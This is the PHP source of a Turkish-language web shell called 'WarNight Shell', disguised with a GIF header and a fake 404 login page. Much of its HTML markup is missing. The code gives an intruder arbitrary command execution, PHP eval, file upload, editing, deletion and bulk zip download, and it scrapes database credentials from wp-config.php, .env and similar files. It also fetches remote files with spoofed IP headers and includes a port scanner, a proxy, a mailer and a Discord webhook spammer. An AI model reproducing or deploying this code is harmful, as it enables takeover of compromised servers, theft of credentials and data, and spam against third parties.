GIF89;a $value) $url_params[$key] = base64_encode($value); return '?' . http_build_query($url_params); } function generate_random_ip() { return rand(1, 254) . "." . rand(0, 255) . "." . rand(0, 255) . "." . rand(1, 254); } function get_anon_headers() { $ip = generate_random_ip(); return [ "X-Forwarded-For: $ip", "X-Real-IP: $ip", "Client-Ip: $ip", "True-Client-IP: $ip" ]; } function exec_command($cmd) { $output = ''; if (function_exists('system')) { ob_start(); system($cmd . ' 2>&1'); $output = ob_get_contents(); ob_end_clean(); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd . ' 2>&1'); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd . ' 2>&1'); $output = ob_get_contents(); ob_end_clean(); } elseif (function_exists('exec')) { $lines = []; exec($cmd . ' 2>&1', $lines); $output = implode("\n", $lines); } else { return "Komut çalıştırma fonksiyonları bu sunucuda devre dışı bırakılmış."; } if (empty($output)) { return "Komut çalıştırıldı ancak hiçbir çıktı vermedi."; } return function_exists('mb_convert_encoding') ? mb_convert_encoding($output, 'UTF-8', 'auto') : $output; } function format_bytes($bytes, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= (1 << (10 * $pow)); return round($bytes, $precision) . ' ' . $units[$pow]; } function get_permissions($file) { return substr(sprintf('%o', fileperms($file)), -4); } function render_directory_tree($path, $level = 0, $max_level = 2) { if ($level > $max_level || !is_readable($path)) return; $files = @scandir($path); if (!$files) return; $indent = str_repeat('    ', $level); foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $full_path = $path . DIRECTORY_SEPARATOR . $file; if (is_dir($full_path)) { echo $indent . '📁 ' . htmlspecialchars($file) . "
"; render_directory_tree($full_path, $level + 1, $max_level); } } } function find_db_creds($path) { $creds = []; $config_files = ['wp-config.php', 'configuration.php', 'config.php', 'settings.php', 'database.php', '.env', 'local.xml']; foreach ($config_files as $config_file) { $file_path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $config_file; if (file_exists($file_path) && is_readable($file_path)) { $content = file_get_contents($file_path); if (preg_match("/(?:define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]|'host'\s*=>\s*'|DB_HOST=)([^'\"]+)/", $content, $host)) $creds['host'] = $host[1]; if (preg_match("/(?:define\s*\(\s*['\"]DB_USER(?:NAME)?['\"]\s*,\s*['\"]|'username'\s*=>\s*'|DB_USERNAME=)([^'\"]+)/", $content, $user)) $creds['user'] = $user[1]; if (preg_match("/(?:define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]|'password'\s*=>\s*'|DB_PASSWORD=)([^'\"]*)/", $content, $pass)) $creds['pass'] = $pass[1]; if (preg_match("/(?:define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]|'database'\s*=>\s*'|DB_DATABASE=)([^'\"]+)/", $content, $name)) $creds['db'] = $name[1]; if (preg_match("/<\/host>/", $content, $host)) $creds['host'] = $host[1]; if (preg_match("/<\/username>/", $content, $user)) $creds['user'] = $user[1]; if (preg_match("/<\/password>/", $content, $pass)) $creds['pass'] = $pass[1]; if (preg_match("/<\/dbname>/", $content, $name)) $creds['db'] = $name[1]; if (!empty($creds['host']) && !empty($creds['user']) && !empty($creds['db'])) return $creds; } } return null; } function zip_directory($source, $destination) { if (!extension_loaded('zip') || !file_exists($source)) return false; $zip = new ZipArchive(); if (!$zip->open($destination, ZIPARCHIVE::CREATE)) return false; $source = str_replace('\\', '/', realpath($source)); if (is_dir($source)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = str_replace('\\', '/', $file); if (in_array(substr($file, strrpos($file, '/') + 1), ['.', '..'])) continue; $file = realpath($file); if (is_dir($file)) { $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); } else if (is_file($file)) { $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); } } } else if (is_file($source)) { $zip->addFromString(basename($source), file_get_contents($source)); } return $zip->close(); } if (isset($_GET['zip_dir'])) { $dir_to_zip = get_param('zip_dir'); if (is_dir($dir_to_zip)) { $zip_file = sys_get_temp_dir() . '/' . uniqid('WarNight_') . '.zip'; if (zip_directory($dir_to_zip, $zip_file)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($dir_to_zip) . '.zip"'); header('Content-Length: ' . filesize($zip_file)); readfile($zip_file); @unlink($zip_file); exit; } } } if (isset($_POST['password'])) { if (md5($_POST['password']) === PASSWORD_HASH) { $_SESSION['authenticated'] = true; } else { echo ""; } } if (isset($_GET['download'])) { $file_path = get_param('download'); if (file_exists($file_path) && is_readable($file_path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_path) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path)); readfile($file_path); exit; } } if (!isset($_SESSION['authenticated'])) { header('HTTP/1.0 404 Not Found'); echo <<404 Not Found HTML; exit(); } $current_page = get_param('p', 'dashboard'); $current_dir = realpath(get_param('dir', getcwd())); if (!$current_dir || !is_dir($current_dir)) $current_dir = getcwd(); header('Content-Type: text/html; charset=utf-8'); ?> WarNight Shell
Konum: $part) { if ($part === '' && $i === 0) { $path_so_far = DIRECTORY_SEPARATOR; echo "/"; continue; } if ($part !== '') { $path_so_far = implode(DIRECTORY_SEPARATOR, array_slice($path_parts, 0, $i + 1)); if(empty($path_so_far) && DIRECTORY_SEPARATOR === '\\') $path_so_far = $part . '\\'; echo "" . htmlspecialchars($part) . "/"; } } ?>
Profile
$_SERVER['SERVER_SOFTWARE'], 'Sunucu IP' => $_SERVER['SERVER_ADDR'] ?? exec_command($is_windows ? 'ipconfig | findstr /i "ipv4"' : 'hostname -i'), 'PHP Sürümü' => phpversion(), 'İşletim Sistemi' => php_uname(), 'Mevcut Kullanıcı' => function_exists('get_current_user') ? get_current_user() : exec_command('whoami'), ]; $disk_usage = [ 'Kullanılan Alan' => format_bytes(disk_total_space(".") - disk_free_space(".")), 'Toplam Alan' => format_bytes(disk_total_space(".")), ]; echo "

Sunucu Bilgileri

Sunucu hakkında genel bilgiler.

";
                foreach($server_info as $key => $val) echo "$key: " . htmlspecialchars(trim($val)) . "\n";
                foreach($disk_usage as $key => $val) echo "$key: " . htmlspecialchars($val) . "\n";
                echo "
"; echo "

Dizin Ağacı

Mevcut dizinin altındaki dallanmalar.

";
                render_directory_tree($current_dir);
                echo "
"; break; case 'command': echo "

Komut Çalıştırıcı

Sunucuya komut gönderin.

"; echo "
"; echo ""; echo ""; echo ""; echo "
"; if (isset($_POST['cmd'])) { echo "

Çıktı

" . htmlspecialchars(exec_command($_POST['cmd'])) . "
"; } echo "
"; break; case 'files': echo "

Dosya Yöneticisi

Dosyaları ve dizinleri yönetin.

"; if (isset($_GET['delete'])) { $item_to_delete = get_param('delete'); if (is_file($item_to_delete)) { if(@unlink($item_to_delete)) echo "
Dosya başarıyla silindi.
"; } elseif (is_dir($item_to_delete)) { if(@rmdir($item_to_delete)) echo "
Dizin başarıyla silindi.
"; else echo "
Dizin boş değil, önce içini boşaltın.
";} } if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { if (@rename($_POST['rename_old'], $_POST['rename_new'])) echo "
Başarıyla yeniden adlandırıldı.
"; else echo "
Yeniden adlandırma başarısız.
"; } echo "

Üst Dizin

"; echo ""; $files = scandir($current_dir); foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $path = $current_dir . DIRECTORY_SEPARATOR . $file; $is_dir = is_dir($path); $icon = $is_dir ? '' : ''; echo ""; } echo "
AdBoyutYetkiİşlemler
$icon $path])) . "'>" . htmlspecialchars($file) . "" . ($is_dir ? '-' : format_bytes(filesize($path))) . "" . get_permissions($path) . ""; if ($is_dir) echo " $path]) . "' title='Dizini İndir (ZIP)'>"; else echo " $path]) . "' title='İndir'>"; echo "`;document.body.appendChild(f);f.submit();}\" title='Yeniden Adlandır'>"; echo " $path]) . "' title='Sil' onclick=\"return confirm('Emin misin?');\">
"; break; case 'createfile': echo "

Belge Oluştur

Yeni bir dosya oluşturun.

"; if (isset($_POST['file_name']) && isset($_POST['file_content'])) { $new_file_path = $current_dir . DIRECTORY_SEPARATOR . $_POST['file_name']; if (file_exists($new_file_path)) { echo "
Bu isimde bir dosya zaten var.
"; } elseif (@file_put_contents($new_file_path, $_POST['file_content']) !== false) { echo "
Dosya başarıyla oluşturuldu: " . htmlspecialchars($new_file_path) . "
"; } else { echo "
Dosya oluşturulurken bir hata oluştu. İzinleri kontrol edin.
"; } } echo "
"; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
"; break; case 'editor': echo "

Metin Düzenleyici

Dosyaların içeriğini düzenleyin.

"; $file = get_param('file'); if (isset($_POST['file_path']) && isset($_POST['file_content'])) { if (@file_put_contents($_POST['file_path'], $_POST['file_content']) !== false) echo "
Dosya başarıyla kaydedildi.
"; else echo "
Dosya kaydedilirken bir hata oluştu.
"; } $file_content = ''; if (!empty($file) && is_file($file)) $file_content = @file_get_contents($file); echo "
$file]) . "'>"; echo ""; echo ""; echo "
"; break; case 'upload': echo "

Dosya Yükle

Bilgisayarınızdan sunucuya dosya yükleyin.

"; if (isset($_FILES['file_to_upload'])) { $target_file = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES["file_to_upload"]["name"]); if (move_uploaded_file($_FILES["file_to_upload"]["tmp_name"], $target_file)) echo "
Dosya başarıyla yüklendi: " . htmlspecialchars($target_file) . "
"; else echo "
Dosya yüklenirken bir hata oluştu.
"; } echo "
"; echo ""; echo ""; echo ""; echo ""; echo "
"; break; case 'sqlclient': echo "

SQL İstemcisi

Veritabanına bağlanın ve sorgu çalıştırın.

"; if (isset($_POST['db_disconnect'])) { unset($_SESSION['db_creds']); echo "
Veritabanı bağlantısı kesildi.
"; } if (isset($_POST['db_host'])) { $conn_test = @new mysqli($_POST['db_host'], $_POST['db_user'], $_POST['db_pass'], $_POST['db_name']); if ($conn_test->connect_error) { echo "
Bağlantı Hatası: " . htmlspecialchars($conn_test->connect_error) . "
"; unset($_SESSION['db_creds']); } else { $_SESSION['db_creds'] = ['host' => $_POST['db_host'], 'user' => $_POST['db_user'], 'pass' => $_POST['db_pass'], 'db' => $_POST['db_name']]; echo "
Veritabanı bağlantısı başarıyla kuruldu.
"; $conn_test->close(); } } if (!isset($_SESSION['db_creds'])) { $creds = find_db_creds($current_dir); echo "

Bağlantı Kur

"; if ($creds) echo "
Config dosyalarından olası veritabanı bilgileri bulundu.
"; echo "
"; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
"; } else { $creds = $_SESSION['db_creds']; echo "

Bağlantı Aktif: ".htmlspecialchars($creds['user'])."@".htmlspecialchars($creds['host'])."

"; echo "
"; $conn = @new mysqli($creds['host'], $creds['user'], $creds['pass'], $creds['db']); if ($conn->connect_error) { echo "
Bağlantı koptu: " . $conn->connect_error . "
"; unset($_SESSION['db_creds']); } else { if (isset($_POST['sql_query'])) { echo "

Sorgu Sonucu

"; $query = $_POST['sql_query']; $result = $conn->query($query); if (!$result) { echo "
Sorgu Hatası: " . htmlspecialchars($conn->error) . "
"; } elseif ($result instanceof mysqli_result) { if ($result->num_rows > 0) { echo ""; $fields = $result->fetch_fields(); foreach ($fields as $field) echo ""; echo ""; while ($row = $result->fetch_assoc()) { echo ""; foreach ($row as $data) echo ""; echo ""; } echo "
" . htmlspecialchars($field->name) . "
" . htmlspecialchars($data) . "
"; } else { echo "
Sorgu başarılı, ancak hiç satır döndürmedi.
"; } $result->close(); } else { echo "
Sorgu başarılı. Etkilenen satır sayısı: " . $conn->affected_rows . "
"; } } echo "

Yeni Sorgu

"; echo "
"; echo ""; echo ""; echo "
"; $conn->close(); } } break; case 'hashgenerator': echo "

Hash Üretici

Metinleri istediğiniz algoritmaya göre şifreleyin.

"; $hash_algos = hash_algos(); if (isset($_POST['hash_text'])) { $text = $_POST['hash_text']; $algo = $_POST['hash_algo']; if (in_array($algo, $hash_algos)) { $hash = hash($algo, $text); echo "

Sonuç (".htmlspecialchars($algo).")

" . htmlspecialchars($hash) . "
"; } } echo "
"; echo ""; echo "
"; break; case 'urldownloader': echo "

URL'den Dosya Yükle

Bir adresteki dosyayı sunucuya çekin.

"; if (isset($_POST['file_url'])) { $file_url = $_POST['file_url']; $dest_path = $current_dir . DIRECTORY_SEPARATOR . basename($file_url); $ch = curl_init($file_url); $fp = fopen($dest_path, 'w+'); $headers = get_anon_headers(); if(!empty($_POST['user_agent'])) curl_setopt($ch, CURLOPT_USERAGENT, $_POST['user_agent']); if(!empty($_POST['mime_type'])) $headers[] = "Accept: " . $_POST['mime_type']; if(!empty($_POST['custom_headers'])) { $custom_headers = explode("\n", $_POST['custom_headers']); $headers = array_merge($headers, array_map('trim', $custom_headers)); } curl_setopt_array($ch, [CURLOPT_FILE => $fp, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 60, CURLOPT_HTTPHEADER => $headers]); if (curl_exec($ch)) echo "
Dosya başarıyla indirildi ve kaydedildi.
"; else echo "
Dosya çekilemedi veya kaydedilemedi. Hata: ".htmlspecialchars(curl_error($ch))."
"; curl_close($ch); fclose($fp); } echo "
"; echo ""; echo ""; echo ""; echo ""; echo "
"; break; case 'phpeval': echo "

PHP Değerlendirici

PHP kodunu direkt sunucuda çalıştırın.

"; if (isset($_POST['php_code'])) { echo "

Çıktı

";
                    ob_start(); eval("?>".$_POST['php_code']); $output = ob_get_clean();
                    echo htmlspecialchars($output);
                    echo "
"; } echo "
"; echo ""; echo "
"; break; case 'mail': echo "

Mail Gönderici

Sunucu üzerinden mail gönderin.

"; if (isset($_POST['to'])) { if (@mail($_POST['to'], $_POST['subject'], $_POST['message'], "From: ".$_POST['from'])) echo "
Mail başarıyla gönderildi.
"; else echo "
Mail gönderilirken bir hata oluştu.
"; } echo "
"; echo ""; echo ""; echo ""; echo ""; echo "
"; break; case 'portscan': echo "

Port Tarayıcı

Hedefteki açık portları bulun.

"; if (isset($_POST['ip_address']) && isset($_POST['port_range'])) { $ip = $_POST['ip_address']; $ports_str = $_POST['port_range']; echo "

" . htmlspecialchars($ip) . " Taranıyor...

";
                    $ports = []; $ranges = explode(',', $ports_str);
                    foreach ($ranges as $range) {
                        if (strpos($range, '-') !== false) { list($start, $end) = explode('-', $range); for ($i = (int)$start; $i <= (int)$end; $i++) $ports[] = $i; } 
                        else $ports[] = (int)$range;
                    }
                    if (count($ports) > 256) echo "Hata: Güvenlik nedeniyle en fazla 256 port taranabilir.\n";
                    else foreach ($ports as $port) { if ($fp = @fsockopen($ip, $port, $errno, $errstr, 0.5)) { echo "Port " . $port . " : Açık\n"; fclose($fp); } flush(); ob_flush(); }
                    echo "
"; } echo "
"; echo ""; echo ""; echo "
"; break; case 'proxy': echo "

Web Tarayıcı

Sunucuyu proxy olarak kullanın.

"; if (isset($_POST['proxy_url'])) { $url = $_POST['proxy_url']; if (filter_var($url, FILTER_VALIDATE_URL)) { $ch = curl_init($url); curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => get_anon_headers(), CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36']); $html = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($html) { $base_tag = ""; $html = str_ireplace('', '' . $base_tag, $html); echo "

" . htmlspecialchars($url) . "

"; } else echo "
URL'den veri çekilemedi. Hata: " . htmlspecialchars($error) . "
"; } else echo "
Geçerli bir URL girin.
"; } echo "
"; echo ""; echo "
"; break; case 'domaininfo': echo "

Domain Bilgisi

Domainin kimin üzerine kayıtlı olduğunu öğrenin.

"; if (isset($_POST['domain'])) { $domain = $_POST['domain']; echo "

" . htmlspecialchars($domain) . " Bilgileri

";
                    echo "--- WHOIS ---\n" . htmlspecialchars(exec_command("whois " . escapeshellarg($domain)));
                    echo "\n--- DNS ---\n" . htmlspecialchars(exec_command("nslookup " . escapeshellarg($domain)));
                    echo "
"; } echo "
"; echo ""; echo "
"; break; case 'base64': echo "

Base64 Çevirici

Metinleri Base64'e çevirin ya da Base64'ten çözün.

"; if (isset($_POST['b64_text'])) { if ($_POST['b64_action'] == 'encode') $result = base64_encode($_POST['b64_text']); else $result = base64_decode($_POST['b64_text']); echo "

Sonuç

" . htmlspecialchars($result) . "
"; } echo "
"; echo ""; echo "
"; echo "
"; break; case 'discord': echo "

Discord Webhook Spammer

Bir webhook URL'sine durmadan mesaj yollayın.

"; if (isset($_POST['webhook_url']) && isset($_POST['message'])) { $webhook_url = $_POST['webhook_url']; $message = $_POST['message']; $count = (int)$_POST['count']; $delay = (int)$_POST['delay']; $payload = json_encode(["content" => $message]); echo "

Spam Başlatıldı...

";
                    $success_count = 0;
                    for ($i = 0; $i < $count; $i++) {
                        $ch = curl_init($webhook_url);
                        curl_setopt_array($ch, [
                            CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => $payload, CURLOPT_RETURNTRANSFER => true,
                            CURLOPT_HTTPHEADER => array_merge(['Content-Type: application/json'], get_anon_headers())
                        ]);
                        $response = curl_exec($ch);
                        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                        if ($http_code >= 200 && $http_code < 300) {
                            echo "Mesaj " . ($i + 1) . " gönderildi. (HTTP " . $http_code . ")\n";
                            $success_count++;
                        } else {
                            echo "Mesaj " . ($i + 1) . " gönderilemedi! (HTTP " . $http_code . ") Hata: " . htmlspecialchars($response) . "\n";
                        }
                        curl_close($ch);
                        flush(); ob_flush();
                        usleep($delay * 1000);
                    }
                    echo "
Spam tamamlandı. " . $count . " mesajdan " . $success_count . " tanesi başarıyla gönderildi.
"; } echo "
"; echo ""; echo ""; echo ""; echo ""; echo "
"; break; } ?>